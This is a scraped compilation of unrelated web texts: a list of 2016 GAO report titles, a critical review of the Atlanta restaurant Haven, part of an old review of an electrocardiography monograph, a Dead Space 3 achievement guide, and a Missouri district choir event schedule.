Medical Product Oversight:FDA Needs More Strategic Planning to Guide Its Scientific InitiativesGAO-16-432: Published: May 16, 2016. Publicly Released: Jun 15, 2016.
Jun 9, 2016
Medicare Fee-For-Service:Opportunities Remain to Improve Appeals ProcessGAO-16-366: Published: May 10, 2016. Publicly Released: Jun 9, 2016.
Jun 7, 2016
VA Health Care:Improvements Needed for Management and Oversight of Sole-Source Affiliate Contract DevelopmentGAO-16-721T: Published: Jun 7, 2016. Publicly Released: Jun 7, 2016.
Jun 3, 2016
VA's Health Care Budget:In Response to a Projected Funding Gap in Fiscal Year 2015, VA Has Made Efforts to Better Manage Future BudgetsGAO-16-584: Published: Jun 3, 2016. Publicly Released: Jun 3, 2016.
Jun 1, 2016
Medicare:Utilization and Expenditures for Complex Wheelchair AccessoriesGAO-16-640R: Published: Jun 1, 2016. Publicly Released: Jun 1, 2016.
May 24, 2016
Medicare Program:Continued Action Required to Address Weaknesses in Provider and Supplier Enrollment ControlsGAO-16-703T: Published: May 24, 2016. Publicly Released: May 24, 2016.
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Just another weekend night out in Midtown or Buckhead? Alas, Atlanta's penchant for martinis and mob scenes has slithered beyond the borders of those neighborhoods. Haven is ensconced in a swanky residential/commercial development on an otherwise sleepy stretch of road in Brookhaven. There isn't another restaurant with its concentration of style or buzz anywhere in close proximity, and Lord, how the locals have embraced it.
Owner Michel Arnette spent years managing various Buckhead Life Restaurant Group ventures, and it's clear he has an innate understanding of how to orchestrate a hot spot. Servers are upbeat yet courteous and focused. The women at the hostess stand have an experienced poise. Welcoming smiles are plentiful, but beware the steely resolve that lurks underneath: They look ready to whip out a can of mace if you hassle them one too many times about your table.
Haven does not accept reservations. I find this maddening, particularly when I encounter the same exhausting multitudes on a Tuesday night. It makes me cranky to eat at 9:30 on a school night. You can call a half-hour before you plan to arrive and be put on the wait list, which might reduce your stand-around time to, say, 45 minutes or so.
The real frustration with Haven, though, starts after the wait ends. Executive chef Jeff Gomez also cut his teeth with Buckhead Life Restaurant Group, and though one would expect him to be adept at running a frantically busy kitchen, the food has a panicked edge that tastes of short cuts and corporate streamlining.
It certainly doesn't take long to arrive at the table. Moments after you place your order, a food runner rushes up to dispense appetizers. How do they cook this stuff so fast? Then you take your first bite and the light bulb goes off. Goat cheese "French toast" is an unimaginative concoction of two slabs of baguette smeared with herbed goat cheese, adorned with a simple, bland tomato sauce. Sweet corn beignets are tasteless puffs studded with a few puny corn kernels. The Caesar salad barely has any dressing. A crab cake tastes distressingly fishy. These dishes need some serious quality control.
Unfortunately, I have a hard time finding one dish to give unequivocal praise. A bone-in rib eye is a handsome piece of meat, cooked as requested, and the honey balsamic glaze has just the right balance of sweet and tart. The accompanying "melted" fingerling potatoes, however, are still crunchy. Worse still, they are set atop the steak, marinating in that syrupy glaze, which renders them all but inedible.
Braised lamb shank is gently gamy and comfy food tender, but the gremolata risotto underneath? I have a feeling it's cooked hours ahead and reheated with a generous dousing of hot broth right before it leaves the kitchen. The texture hovers somewhere between gummy and gluey. And there's a reason why duck breast typically arrives at the table sliced. The small, whole breast looks like a fatty, uncomely lump on the plate. The nicely spiced Swiss chard next to it, though, nimbly celebrates winter flavors while hinting of spring.
When the cooking hits the mark here, it reveals a chef with an admirably refined sense of adventure. Seared scallops are paired with chopped Brussels sprouts, a combination that seems questionable until you taste the vanilla bean-laced cider butter that bridges the contrasting qualities of the two ingredients. Saffron butter imbues whole fried Dover sole with a dulcet whiff of luxury, and the gnarl of garlicky greens alongside supplies a clean, sharp compliment.
But the presentation of the fish borders on disturbing. Its spinal cord has been twisted into an architectural sculpture that belongs in the Smithsonian Museum of Natural History, not on the plate. It's gross. Just remove the darn thing.
The dessert list is short, but has several misnomers. Blackberry cobbler napoleon has none of the bubbling, homey appeal that the word "cobbler" invokes. It is two wafers separated by honey ice cream and macerated summer berries that are surprisingly vibrant for being out of season. Double-chocolate "muffins" are small chocolate cakes cut in half and stuffed with a chocolate mousse that has all the appeal of generic banquet hall fare.
But the dessert that takes the cake, so to speak, is the pumpkin cheesecake bomb. Picture this: A sodden scoop of what tastes like canned pumpkin pie filling is drowned in viscous caramel reminiscent of the stuff you dipped apples in as a child. This is topped with splintery shards of pumpkin seed brittle. It is, without question, the worst dessert I've had in recent memory.
I have a sneaking suspicion that the kitchen's shortcomings are the result of a restaurant that achieved unbridled success before it was quite ready. So much else here holds promise. It's easy to linger in the dining room and soak in its elegant trappings: the stately wall of wine racks, the industrial-chic loft ceiling, the flattering lighting. I love the painting that looks like a rendering of Renee Zellweger in a Catwoman mask. And kudos to the brilliant artist who created those witty light fixtures attached to the back wall. The glass fixtures are blown to resemble a gush of brown water coming out of an old faucet. They double as a convincing sales pitch. Waiter, a bottle of Evian, please?
I'd like to see the wine list gain more breadth. It's a trick that intown scenester hangouts like One Midtown Kitchen have learned: Give the throngs numerous, unusual vino options by the glass or half-glass. It keeps them entertained and sedated while they await the main event.
The nerve-wracking challenge most new restaurants face is finding an audience. Haven, by virtue of location and a dapper sophistication, already has one right out of the starting gate. I hope the kitchen finds its footing before those crowds become disenchanted and start to drift back to Buckhead.
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With every new technical procedure, there is always the danger of reading too much or too little into it. This monograph presents clearly the controversial issues of electrocardiography, and its bibliography is an excellent guide for more intensive reading. The book should prove invaluable to the large group of internists who use the electrocardiograph in their daily work. It is not a book for beginners. But the persons who read electrocardiograms and who are puzzled by the diversity of patterns and by the "borderline" group will find it a helpful guide.
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When first introduced, the claims for the fourth lead made many men suspicious to the point of avoiding its use. Dr. Barnes's correlation of this lead with old standard leads is sound and refreshing. The chapter
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Stranger in a Strange Land
Complete the Prologue.
Story related, can't be missed.
This is the first mission in the game.
Space Odyssey 15
Survive your first spacewalk.
Story related, can't be missed.
You'll get this when you complete a spacewalk which is when you are weightless in space and can fly around. You are limited on oxygen.
Critical Mass 15
Recover the shuttle.
Story related, can't be missed.
This will come along as you play, nothing to really worry about.
Snow Crash 15
Reach Tau Volantis.
Story related, can't be missed.
You'll get this upon reaching the planet.
Intestinal Fortitude 25
Defeat the Hive Mind.
Story related, can't be missed.
You have to use the Probe Gun which you assemble as pat of the mission. Go through and shoot the things above and around you that look like they are creatures. If you get attacked by enemies you know you shot the right one. Do this a couple times and you'll get the achievement.
Hydra 15
Kill the Snowbeast.
Story related, can't be missed.
You'll fight this enemy a 3rd time, but now you must just run to a harpoon and run the generator. Lead the beast to the designated trap and you'll finally rid the monster from existence.
Together as One 15
Reassemble Rosetta.
Story related, can't be missed.
This is a very simple puzzle in the story. There are samples you must piece together. Just start with the ends where there is no muscle/tissue exposed. Now piece them together like a puzzle matching the parts where the body is cut off.
Infernal Machine 15
Reach the Alien Machine.
Story related, can't be missed.
You'll get this near the end of Chapter 18.
Shoot for the Moon 50
Defeat the Moon.
Story related, can't be missed.
This is the last boss in the game. It's actually a fairly easy fight.
Under a Buck 10
Shoot the deer head trophy in the Admiral's Quarters.
Obtained in Chapter 4
You will have an objective to get to the Admiral's Quarters. This trophy (the deer head) is located just outside of the elevator, before actually going into the room with the body. Shoot the head and it will fall down.
Space Ace 20
Shoot at least 70 targets during the ride to Tau Volantis.
Obtained in Chapter 7
While using the guns on the ship, shoot down 70 targets before finishing the trip to the next location. This is at the end of Chapter 7. There aren't many more than 70 total targets. You move the ship somewhat with
but to aim your guns, use
. Shoot with
whenever there are red target squares around the various objects. This can be done solo or with a co-op partner.
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Dead Space 3: Space Ace Achievement - YouTube
Hungry 20
Reach the pump room of the Waystation without alerting any Feeders.
Obtained in Chapter 9
The start of Chapter 9 has you putting a gear in place to ride an elevator down. Once down there, you will open a door to a kitchen where a Feeder enemy will be. It will scamper off. From here on out press
to crouch and walk carefully. There are a couple groups of Feeder enemies in the areas next. They cannot see, but they can smell and hear you. Walk slowly and when you see food cans, use kinesis to throw them in another part of the area to distract them. Once you get to the Waystation, you will see a saving icon appear and the achievement will unlock. The amount of time spent sneaking around is really only a couple of minutes. Since it's at the start of the chapter, this becomes extremely easy to do if you missed it.
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Dead Space 3: Hungry Achievement - YouTube
Drill Sergeant 30
Complete the Drill Room without taking any damage.
Obtained in Chapter 10
During this chapter you will reach the Drill Site. To gain this achievement you will have to do the entire section without getting hit by any enemies. If you do, you must save and quit to try again. If you have a Co-Op partner, that person will not get the achievement and you will have more enemies to fight. There are 3 phases for this section. Some people have reported making perfect runs but not getting the achievement. It is said the fix is to get injured on purpose, then save and quit. You can choose to do this achievement when you get here, or via chapter select later when you have better guns (or overpowered ones). The nice thing about retrying this area is you keep all items and resources after saving and quitting. This can with the resources fairly well.
Phase 1:
Release the drill. Stand by the stasis refill station by the drill. When the drill comes out, stasis it and focus killing the enemies across from you coming out of the vent. When it seems that have time, stasis the drill again and shoot the yellow canisters in the top middle. Now focus on killing any enemies still alive.
Phase 2:
In this phase, you will have to worry about enemies coming from other vents as well. Try your best to keep the crowd under control, and when it seems you have time, stasis the drill and shoot the yellow canisters again. This is probably going to be the hardest phase.
Phase 3:
Now is the easiest phase of all. When the drill comes down again, wait a little then stasis it. Shoot the top middle again. All enemies that were once around (feeders) will now vanish. Make your way to the elevator door and the achievement should unlock.
Alternate Method:
It has been confirmed by some, that if you get hit, you can run into the drill to die. After each phase, you will get a mini checkpoint and be able to make this achievement a little bit easier.
Dead Space 3: Drill Sergeant - YouTube
Dead Space 3: Drill Sergeant - YouTube
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Music can change the world because it can change people.
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District Choir information Fall 2015
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November 10 District Choir rehearsal and All State Auditions Rolla High School
November 14 District Choir Rehearsal and performance Waynesville HS
Performances at 5 pm
The District Choir will have a rehearsal and hold All-State auditions on Tuesday, November 10, at Rolla High School. Rehearsal and performance will be at Waynesville High School on Saturday, November 14 , with performances at 5 pm.
Middle School/Junior High District Choir 6-9 Grade District Honor Choir 2016
February 6, 2016 Waynesville High School Entry Fee $5 Per Registered Student
Jeff Sandquist, Conductor
And This Shall be for Music SAB Victor Johnson Alfred Pub
Take Me to the Water SATB Rollo Dillworth HLP
Praise the Lord SATB Handel/Hopson Shawnee Press
Bonse Aba SATB (not really) Alliance
Adventures of Isabel 2 part Women Andrea Ramsey
She is Evening TB(B) Parker/Courtnee Brilee
Jason Bartelsmeyer, CDMMEA MS/JH Vocal VP
Rolla Junior High School/Rolla High School
573-364-2821 home
573-458-0140 school
Elementary District Choir February 20, 2016 at St. James Middle School
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